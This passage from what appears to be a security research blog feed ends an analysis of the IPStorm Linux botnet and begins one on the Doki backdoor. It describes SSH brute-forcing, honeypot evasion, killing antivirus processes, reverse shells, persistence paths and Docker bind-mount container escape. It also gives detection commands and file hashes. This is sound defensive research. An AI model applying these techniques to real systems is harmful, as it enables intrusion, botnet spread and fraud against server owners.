&lt;td&gt;Responsible for advertising the node, getting the external IP, and maintaining connection with other nodes.&lt;/td&gt;
&lt;td&gt;+&lt;/td&gt;
&lt;td&gt;+&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;powershell&lt;/td&gt;
&lt;td&gt;In Windows, in charge of the powershell artifact in the backdoor. In the Linux variant, the package has only one function copied from the Windows version and is used for achieving reverse shell. + util Utility functions&lt;/td&gt;
&lt;td&gt;+&lt;/td&gt;
&lt;td&gt;+&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ddbinterface&lt;/td&gt;
&lt;td&gt;DB functions&lt;/td&gt;
&lt;td&gt;+&lt;/td&gt;
&lt;td&gt;+&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;proxy&lt;/td&gt;
&lt;td&gt;Implements Socks5 Proxy&lt;/td&gt;
&lt;td&gt;+&lt;/td&gt;
&lt;td&gt;+&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote&gt;
&lt;p&gt;Note: We compared Linux version 0.2.05a to Windows version 0.0.2m which was
analyzed in Anomali&amp;rsquo;s report. However, the malware is frequently being
updated and we have observed multiple different versions since, so
functionalities may differ between them.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Features Comparison Scanning tools&lt;span class="hx:absolute hx:-mt-20" id="features-comparison-scanning-tools"&gt;&lt;/span&gt;
&lt;a href="#features-comparison-scanning-tools" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;h3&gt;Android and SSH brute-force&lt;span class="hx:absolute hx:-mt-20" id="android-and-ssh-brute-force"&gt;&lt;/span&gt;
&lt;a href="#android-and-ssh-brute-force" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The Linux variant attempts to spread and infect other victims on the internet
by using SSH brute-force. Once a connection is established, the malware will
check if the victim server is a honeypot by comparing the hostname of the
attacked server to the string &amp;ldquo;svr04&amp;rdquo;, which is the default hostname of Cowrie
SSH honeypot. If the malware identifies a honeypot it will close the
connection, otherwise it will proceed to download the payload and infect the
server.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/10/a-storm-is-brewing-ipstorm-now-has-linux-malware/images/fig5.png" title="Validation of whether the server is a honeypot or not." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Validation of whether the server is a honeypot or not.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Another spreading method that is unique to the Linux version is searching for
potential Android victims. The malware checks for devices connected with ADB
(Android Debug Bridge) to the victim node. Once identified, it will upload an
Android version of IPStorm to the device, which was previously downloaded from
the P2P network.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/10/a-storm-is-brewing-ipstorm-now-has-linux-malware/images/fig6.png" title="Screen capture from the log of the storm service showing the downloaded file." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Screen capture from the log of the storm service showing the downloaded file.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h3&gt;Antivirus Evasion&lt;span class="hx:absolute hx:-mt-20" id="antivirus-evasion"&gt;&lt;/span&gt;
&lt;a href="#antivirus-evasion" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Both IPStorm Windows and Linux versions implement features related to detection
evasion and each variant uses a different technique. In the Linux version, the
package in charge of this logic is called &lt;code&gt;storm_malware_guard&lt;/code&gt;. The file
iterates through all current running processes in order to find and terminate
ones that might detect the malware&amp;rsquo;s activity.&lt;/p&gt;
&lt;p&gt;The function under the &lt;code&gt;storm_malware_guard&lt;/code&gt; package that implements this
technique is called &lt;code&gt;KillSuspiciousProcesses&lt;/code&gt;. Other functions in this package
are responsible for obtaining information about the CPU and memory usage,
number of I/O ports, and functions that return information about processes and
threads.&lt;/p&gt;
&lt;p&gt;In the Windows version, the AV evasion logic is implemented in a package called
&lt;code&gt;avbypass&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;This technique is based on random sleep times and multiple function calls. The
purpose of this method is to make tracing the original process harder for
Antivirus solutions.&lt;/p&gt;
&lt;p&gt;It appears that due to the different operating systems, each IPStorm version
has its own way to evade detection.&lt;/p&gt;
&lt;h3&gt;Reverse Shell&lt;span class="hx:absolute hx:-mt-20" id="reverse-shell"&gt;&lt;/span&gt;
&lt;a href="#reverse-shell" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Both IPStorm versions use the name backshell to refer to the feature of reverse
shell.&lt;/p&gt;
&lt;p&gt;The backshell functions of the Linux variant are identical to those of the
Windows variant.&lt;/p&gt;
&lt;p&gt;The Windows variant has a package called &lt;code&gt;powershell&lt;/code&gt; which contains functions
for achieving reverse shell. The same package is present in the Linux variant
but it contains only one function:
&lt;code&gt;storm_powershell__ptr_Backend_StartProcess&lt;/code&gt;. The function is used to get a
reverse shell on the infected system.&lt;/p&gt;
&lt;p&gt;The implementation of the reverse shell is a clear example of the code reuse
connections between the two IPStorm variants. The screengrabs below demonstrate
changes in the file names and the identical function names found in the two
versions:&lt;/p&gt;
&lt;h4&gt;Linux&lt;span class="hx:absolute hx:-mt-20" id="linux"&gt;&lt;/span&gt;
&lt;a href="#linux" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2020/10/a-storm-is-brewing-ipstorm-now-has-linux-malware/images/fig7.png" alt="" loading="lazy" /&gt; &lt;img src="https://research.intezer.com/blog/2020/10/a-storm-is-brewing-ipstorm-now-has-linux-malware/images/fig8.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;h4&gt;Windows&lt;span class="hx:absolute hx:-mt-20" id="windows"&gt;&lt;/span&gt;
&lt;a href="#windows" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2020/10/a-storm-is-brewing-ipstorm-now-has-linux-malware/images/fig9.png" alt="" loading="lazy" /&gt; &lt;img src="https://research.intezer.com/blog/2020/10/a-storm-is-brewing-ipstorm-now-has-linux-malware/images/fig10.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;h3&gt;Persistence&lt;span class="hx:absolute hx:-mt-20" id="persistence"&gt;&lt;/span&gt;
&lt;a href="#persistence" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The Linux version will attempt to gain persistence only if it was executed with
root privileges. The Windows version, on the other hand, will always look to
gain persistence. It is evident that each variant of the malware, Linux and
Windows, uses a different technique to gain persistence since the operating
systems they target are fundamentally different.&lt;/p&gt;
&lt;p&gt;The Windows variant achieves persistence by copying itself to a random location
and adding the program to the:
&lt;code&gt;HKCU\Software\Microsoft\Windows\CurrentVersion\Run&lt;/code&gt; registry key.&lt;/p&gt;
&lt;p&gt;The Linux version achieves persistence by creating a &lt;code&gt;systemd&lt;/code&gt; service under
&lt;code&gt;/etc/systemd/system/storm.service&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/10/a-storm-is-brewing-ipstorm-now-has-linux-malware/images/fig11.png" title="/etc/systemd/system/storm.service" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;/etc/systemd/system/storm.service&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/10/a-storm-is-brewing-ipstorm-now-has-linux-malware/images/fig12.png" title="The function that archives persistence in the Linux variant." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;The function that archives persistence in the Linux variant.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Another difference is the location to which the file is copied. The Windows
variant uses random file paths while the Linux version uses fixed paths.&lt;/p&gt;
&lt;h3&gt;Network Traffic&lt;span class="hx:absolute hx:-mt-20" id="network-traffic"&gt;&lt;/span&gt;
&lt;a href="#network-traffic" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;On top of creating a reverse shell, we have detected that IPStorm&amp;rsquo;s Linux
variant takes advantage of its being widespread to perform different fraudulent
activity in the background, abusing gaming and ads monetization. Because it&amp;rsquo;s a
botnet, the malware utilizes the large amount of requests from different
trusted sources, thus not being blocked nor traceable. This activity was not
observed in the Windows variant.&lt;/p&gt;
&lt;h4&gt;Steam Gaming Fraud&lt;span class="hx:absolute hx:-mt-20" id="steam-gaming-fraud"&gt;&lt;/span&gt;
&lt;a href="#steam-gaming-fraud" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Steam is a popular gaming service from Valve Corporation and is used by
hundreds of millions users worldwide. It also provides an API for developers
who want to use Steam data on their own websites.&lt;/p&gt;
&lt;p&gt;As part of the monetization process for game developers, Steam users can buy
and sell different items such as equipment, skins, and other in-game elements.
This platform is so popular that it has become a hot target for cybercriminals.
A known method used by attackers is creating phishing websites to lure users to
submit their Steam login credentials. With access to a user&amp;rsquo;s credentials the
attacker has full access to the the account, API key included.&lt;/p&gt;
&lt;p&gt;We noticed IPStorm generates a large amount of traffic to Steam&amp;rsquo;s API, querying
data pertaining to various Steam users and using multiple valid API keys.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2020/10/a-storm-is-brewing-ipstorm-now-has-linux-malware/images/fig13.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;We suspect these are stolen accounts that are being monitored as part of a fake
trade scam.
&lt;a href="https://www.skinwallet.com/csgo/how-to-avoid-steam-api-key-scam/"target="_blank" rel="noopener"&gt;Browse here&lt;/a&gt;
for more information about this scam.&lt;/p&gt;
&lt;h4&gt;Ad Fraud&lt;span class="hx:absolute hx:-mt-20" id="ad-fraud"&gt;&lt;/span&gt;
&lt;a href="#ad-fraud" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;The malware generates requests which imitate fake advertisements clicks. All
the ads we have traced are related to pornographic websites. The malware crawls
through different predefined sites, searches for advertisement iframes, and
imitates a user &amp;ldquo;click&amp;rdquo; by browsing through the iframes.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/10/a-storm-is-brewing-ipstorm-now-has-linux-malware/images/fig14.png" title="Example of a request the malware generates to an ad platform." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Example of a request the malware generates to an ad platform.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/10/a-storm-is-brewing-ipstorm-now-has-linux-malware/images/fig15.png" title="Websites the malware crawls through." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Websites the malware crawls through.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;IPStorm Detection and Response&lt;span class="hx:absolute hx:-mt-20" id="ipstorm-detection-and-response"&gt;&lt;/span&gt;
&lt;a href="#ipstorm-detection-and-response" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;h3&gt;Compromised System Detection&lt;span class="hx:absolute hx:-mt-20" id="compromised-system-detection"&gt;&lt;/span&gt;
&lt;a href="#compromised-system-detection" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;You can take the following steps to check if your system has been attacked by
the IPStorm malware.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Check if the process of IPStorm is running on your system.
&lt;ul&gt;
&lt;li&gt;Run: &lt;code&gt;pstree | grep storm&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;IPStorm will usually run with multiple threads. &lt;img src="https://research.intezer.com/blog/2020/10/a-storm-is-brewing-ipstorm-now-has-linux-malware/images/fig16.png" alt="" loading="lazy" /&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Check the services that run on your system, since if the malware was executed
with root privileges it would create a service for persistence.
&lt;ul&gt;
&lt;li&gt;Run: &lt;code&gt;sudo systemctl status strom.service&lt;/code&gt; &lt;img src="https://research.intezer.com/blog/2020/10/a-storm-is-brewing-ipstorm-now-has-linux-malware/images/fig17.png" alt="" loading="lazy" /&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Check if IPStorm&amp;rsquo;s files exist in your system.
&lt;ul&gt;
&lt;li&gt;Run: &lt;code&gt;sudo find / -name &amp;quot;storm*&amp;quot; -type f&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;In case of a non-root execution the output will look similar to the
screen capture below &lt;img src="https://research.intezer.com/blog/2020/10/a-storm-is-brewing-ipstorm-now-has-linux-malware/images/fig18.png" alt="" loading="lazy" /&gt;&lt;/li&gt;
&lt;li&gt;If the malware was executed with root privileges, the output will look
similar to the screen capture below: &lt;img src="https://research.intezer.com/blog/2020/10/a-storm-is-brewing-ipstorm-now-has-linux-malware/images/fig19.png" alt="" loading="lazy" /&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Check the open ports on your system and the processes that are associated
with them.
&lt;ul&gt;
&lt;li&gt;Run: &lt;code&gt;sudo ss -tulpn&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;In the screen capture below a number of processes that belong to the
IPStorm malware listen on specific ports. &lt;img src="https://research.intezer.com/blog/2020/10/a-storm-is-brewing-ipstorm-now-has-linux-malware/images/fig20.png" alt="" loading="lazy" /&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Use freely the Intezer Protect community beta to identify which process is
running on your system. The screen capture below is taken from the alert of
IPStorm executed on a server. The info provided by the system includes the
malware family name, full path of the executable, the process ID, execution
time, and a link to Intezer where you can observe code reuse prevalent in
this malware. &lt;img src="https://research.intezer.com/blog/2020/10/a-storm-is-brewing-ipstorm-now-has-linux-malware/images/fig21.png" alt="" loading="lazy" /&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;How to Terminate IPStorm on a Compromised System&lt;span class="hx:absolute hx:-mt-20" id="how-to-terminate-ipstorm-on-a-compromised-system"&gt;&lt;/span&gt;
&lt;a href="#how-to-terminate-ipstorm-on-a-compromised-system" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;If the malware runs as a service you should stop the service by executing the
command: &lt;code&gt;sudo systemctl stop storm.service&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Delete all the files that are related to the IPStorm malware. The file paths
are mentioned in the previous section.&lt;/li&gt;
&lt;li&gt;Kill the process by running: &lt;code&gt;sudo pkill -9 storm&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Response&lt;span class="hx:absolute hx:-mt-20" id="response"&gt;&lt;/span&gt;
&lt;a href="#response" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;We are providing a
&lt;a href="https://github.com/intezer/yara-rules/blob/master/IPStorm.yar"target="_blank" rel="noopener"&gt;YARA rule&lt;/a&gt;
intended to be run against in-memory artifacts in order to be able to detect
these implants.&lt;/p&gt;
&lt;h4&gt;System Security Hardening&lt;span class="hx:absolute hx:-mt-20" id="system-security-hardening"&gt;&lt;/span&gt;
&lt;a href="#system-security-hardening" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;Make sure your SSH connection is secured. Use a key instead of a password or
use multi-factor authentication.
&lt;a href="https://www.techrepublic.com/article/5-quick-ssh-hardening-tips/"target="_blank" rel="noopener"&gt;Browse here&lt;/a&gt;
for more tips about SSH hardening.&lt;/li&gt;
&lt;li&gt;Make sure your system is updated to the latest software and aligned with most
recent security best practices.&lt;/li&gt;
&lt;li&gt;Use a runtime cloud workload protection solution. Protect provides full
runtime visibility over the code in your system and alerts on any suspicious
or unauthorized code that deviates from the secure baseline.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Summary&lt;span class="hx:absolute hx:-mt-20" id="summary"&gt;&lt;/span&gt;
&lt;a href="#summary" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;IPStorm now with Linux malware is the latest example of a cross-platform
malware developed in Golang. Platforms that are compromised by IPStorm are not
only exposed to a backdoor to their services but are also added to the IPStorm
Botnet which attempts to spread to other victims. The attackers behind IPStorm
are very active evidenced by the frequent release of updated versions with new
features and improvements, as well as the expansion to several different
platforms and architectures.&lt;/p&gt;
&lt;p&gt;IPStorm is part of a growing list of Golang ELF malware that have been spotted
attacking live servers in the past six months alone, together with
&lt;a href="../../../2020/05/kaiji-new-chinese-linux-malware-turning-to-golang"&gt;Kaiji&lt;/a&gt;,
&lt;a href="https://blog.aquasec.com/threat-alert-kinsing-malware-container-vulnerability"target="_blank" rel="noopener"&gt;Kinsing&lt;/a&gt;,
and
&lt;a href="https://www.guardicore.com/2020/08/fritzfrog-p2p-botnet-infects-ssh-servers/"target="_blank" rel="noopener"&gt;FritzFrog&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;We want to give a special thanks to Paul Litvak and Michael Kajiloti for their
help contributing to this analysis.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Both IPStorm Linux and Windows samples are indexed in Intezer and you can
detect this and other cross-platform malware with the code reuse feature for
Golang, just by uploading a file or hash to the system. Below is the analysis
of one of the Linux samples.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2020/10/a-storm-is-brewing-ipstorm-now-has-linux-malware/images/fig22.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;h2&gt;IOCs&lt;span class="hx:absolute hx:-mt-20" id="iocs"&gt;&lt;/span&gt;
&lt;a href="#iocs" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;h3&gt;Linux&lt;span class="hx:absolute hx:-mt-20" id="linux-1"&gt;&lt;/span&gt;
&lt;a href="#linux-1" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;3aff4695c73709e2e0e55665c4850aa45064723a2c83e75325b27e77ec5f6d97
b80346c4d31d77fba9427024d34af2f43e64a5272b5bbef28c6bf045a06143ff
d233c37f2d49badbf53d054bce7fb8e787c9973067e8dcd79835d7816aacfa43
658638c6bef52e03e6aea4b6c1b2b3b8d81ad40144b56b2122d96e6957c33117
bfb69eadee1918a9402478c76dd15696bbac3e3e3e57c9a94c7d51e594b8c657
64abc2cf5866e932b0731a6deb487aa3d9756724250de26bac2fb930cd478dc0
52f215521ba59cb6a51314bd1527f1c540ffc04df924ad971ca2160405879778
aa7639b11f7c852005110e5ac34c9a2c94c562bcc95dbf6f60a1a7192cf8ea77
cae8a782765dd0f97e7a812a245cc5b94b3179ced9c8181d0fda13978c9f17be
5103133574615fb49f6a94607540644689be017740d17005bc08b26be9485aa7
08bf31862577567a56bf3be6425f1ddf4ac90914efd883a75a5a53dbcabd28a2
984c5e980fb8a5b7bbc673f923f22ddf06c5dd89fcd0acf774d79d4d193b44c8
591770835066958e912ceb445bd865e961ac946e8cf70ced9f0bd75c851d9478
69ea7bcf3da16d968e6104745c1f015f6371c093188f1061a311a6385985b45b
fbd5e48ee691df949e0dd3687755c80cc5b9d1a1a89e7dc486694370697de893
c247b3c07b4bf13da67c51d5834193d128c45c7e41214096090b5d2610313783
f4f1fb65df80666fe67b22b84d9d8f967449d1249c33ad97f4305784fa41e747
ef226de8cc53e59c9431838085f3bbd1b8a32f7cc135682033a3fdba19a0ee97
dfeecdd23f28f80e42e58c87c9a4858648964b3100dfb899c61b54aed7856cf7
db9c95bdc4247ff6cdaf8a8e47b4add21a730461d8f6e2693136aecd346b3fb5
b4c75e1d94bc4c8affd6d9f433585ace2738772e6a04403ab67cce3df9574068
b07c2dfb4c57175446b6188bb4b1722272f63a301f18c5f46ee6401347894fea
a5468b6130d90bc74cf8e458297f6d4c7fc42b87184623aefd535bca658542ed
7c41de95313dc98a3fc4f6fe3910759c3561743dacc629dab11e754290f8c7aa
7b044b8eddd20d8e1c7d499a6c34b1bc373f5fe9d59bab7b4e3a341a5f4ce0b5
79ec318a968679f94d2ab0ba15daaeeb71406d2f744eb0cd1b314c4bb403114d
52b081dbaafbbae8ad812f9c50a1a5f7d8b0850b3c6dc69eccb3322f34286c2e
50406ec7fa22c78e9b14da4ccc127a899db21f7a23b1916ba432900716e0db3d
1d0e003ee653d1a7b80ff5e69c33689af04e45fc836a29e0853219dd100fd534
16bcb323bfb464f7b1fcfb7530ecb06948305d8de658868d9c3c3c31f63146d4&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3&gt;macOS&lt;span class="hx:absolute hx:-mt-20" id="macos"&gt;&lt;/span&gt;
&lt;a href="#macos" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;522a5015d4d11833ead6d88d4405c0f4119ff29b1f64b226c464e958f03e1434&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>Watch Your Containers: Doki Infecting Docker Servers in the Cloud</title><link>https://research.intezer.com/blog/2020/07/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/</link><pubDate>Tue, 28 Jul 2020 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2020/07/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/</guid><description>
&lt;h2&gt;Key Findings&lt;span class="hx:absolute hx:-mt-20" id="key-findings"&gt;&lt;/span&gt;
&lt;a href="#key-findings" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href="https://blog.netlab.360.com/a-new-mining-botnet-blends-its-c2s-into-ngrok-service/"target="_blank" rel="noopener"&gt;Ngrok Mining Botnet&lt;/a&gt;
is an active campaign targeting exposed Docker servers in AWS, Azure, and
other cloud platforms. It has been active for at least two years.&lt;/li&gt;
&lt;li&gt;We have detected a recent attack which includes a completely undetected Linux
malware and a previously undocumented technique, using a blockchain wallet
for generating C&amp;amp;C domain names.&lt;/li&gt;
&lt;li&gt;Anyone with publicly open Docker API access is at high risk to be hacked
within the span of just a few hours. This is probable due to the hackers'
automated and continuous internet-wide scanning for vulnerable victims.&lt;/li&gt;
&lt;li&gt;The new malware, dubbed &amp;ldquo;Doki&amp;rdquo;, hasn&amp;rsquo;t been detected by any of the 60 malware
detection engines in VirusTotal since it was first analyzed on January 14,
2020.&lt;/li&gt;
&lt;li&gt;The attacker is using the infected victims to search for additional
vulnerable cloud servers.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Introduction&lt;span class="hx:absolute hx:-mt-20" id="introduction"&gt;&lt;/span&gt;
&lt;a href="#introduction" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Linux threats are becoming more common. A contributing factor to this is the
increasing shift and reliance on cloud environments, which are mostly based on
Linux infrastructure. Hence, attackers have been adapting accordingly with new
tools and techniques designed specifically for this infrastructure.&lt;/p&gt;
&lt;p&gt;A technique that has become popular is the abuse of misconfigured Docker API
ports, where attackers scan for publicly accessible Docker servers and exploit
them in order to set up their own containers and execute malware on the
victim&amp;rsquo;s infrastructure.&lt;/p&gt;
&lt;p&gt;One of the longest ongoing attack campaigns exploiting Docker API ports is the
Ngrok Botnet, previously reported on by researchers at
&lt;a href="https://blog.netlab.360.com/a-new-mining-botnet-blends-its-c2s-into-ngrok-service/"target="_blank" rel="noopener"&gt;Netlab&lt;/a&gt;
and
&lt;a href="https://blog.trendmicro.com/trendlabs-security-intelligence/exposed-docker-control-api-and-community-image-abused-to-deliver-cryptocurrency-mining-malware/"target="_blank" rel="noopener"&gt;Trend Micro&lt;/a&gt;.
As part of the attack, the attackers abuse Docker configuration features in
order to elude standard container restrictions and execute various malicious
payloads from the host. They also deploy a network scanner and use it to scan
the cloud providers&amp;rsquo; IP ranges for additional potentially vulnerable targets.
Our evidence shows that it takes only a few hours from when a new misconfigured
Docker server is up online to become infected by this campaign.&lt;/p&gt;
&lt;p&gt;Recently, we have detected a new malware payload that is different from the
standard cryptominers typically deployed in this attack. The malware is a fully
undetected backdoor which we have named Doki.&lt;/p&gt;
&lt;p&gt;Doki uses a previously undocumented method to contact its operator by abusing
the Dogecoin cryptocurrency blockchain in a unique way in order to dynamically
generate its C2 domain address. The malware has managed to stay under the radar
for over six months despite samples being publicly available in VirusTotal.&lt;/p&gt;
&lt;p&gt;In this article we will cover the attack and provide a detailed analysis of the
techniques that were implemented by the undetected Doki backdoor.&lt;/p&gt;
&lt;h2&gt;The Attack&lt;span class="hx:absolute hx:-mt-20" id="the-attack"&gt;&lt;/span&gt;
&lt;a href="#the-attack" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The threat is targeting misconfigured containerized environments in the cloud.
The attackers scan for publicly accessible Docker API ports and exploit them in
order to set up their own containers and execute malware on the victims'
infrastructure. The attackers are spawning and deleting a number of containers
during this attack.&lt;/p&gt;
&lt;p&gt;Each container that is created during the attack is based on an alpine image
with curl installed. The image is available on the
&lt;a href="https://hub.docker.com/r/byrnedo/alpine-curl/tags/"target="_blank" rel="noopener"&gt;Docker hub&lt;/a&gt;. The image is
not malicious but rather it&amp;rsquo;s being abused to carry out malicious activities.
By using an image that contains the curl software, curl commands are executed
as soon as the container is up and running.&lt;/p&gt;
&lt;p&gt;The advantage of using a publicly available image is the attacker doesn&amp;rsquo;t need
to hide it on Docker hub or other hosting solutions. Instead, the attackers can
use an existing image and run their own logic and malware on top of it.&lt;/p&gt;
&lt;p&gt;As mentioned above, attackers can create any container, however, to execute
code from the hosting machine they must use a container escape method. The
technique is based on the creation of a new container, accomplished by posting
a
‘&lt;a href="https://docs.docker.com/engine/api/v1.40/#operation/ContainerCreate"target="_blank" rel="noopener"&gt;create&lt;/a&gt;'
API request. The body of the request contains configuration parameters for the
container. One of the parameters is
&lt;a href="https://docs.docker.com/storage/bind-mounts/"target="_blank" rel="noopener"&gt;bind&lt;/a&gt; which lets the user
configure which file or directory on the host machine to mount into a
container.&lt;/p&gt;
&lt;p&gt;Containers that are created during the attack are configured to bind
&lt;code&gt;/tmpXXXXXX&lt;/code&gt; directory to the root directory of the hosting server. This means
every file on the server&amp;rsquo;s filesystem can be accessed and even modified, with
the correct user permissions, from within the container.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://ngrok.com/"target="_blank" rel="noopener"&gt;Ngrok&lt;/a&gt; is a service which provides secure tunnels to
connect between local servers and the public internet. The attacker abuses
Ngrok to craft unique URLs with a short lifetime and uses them to download
payloads during the attack by passing them to the curl based image. The
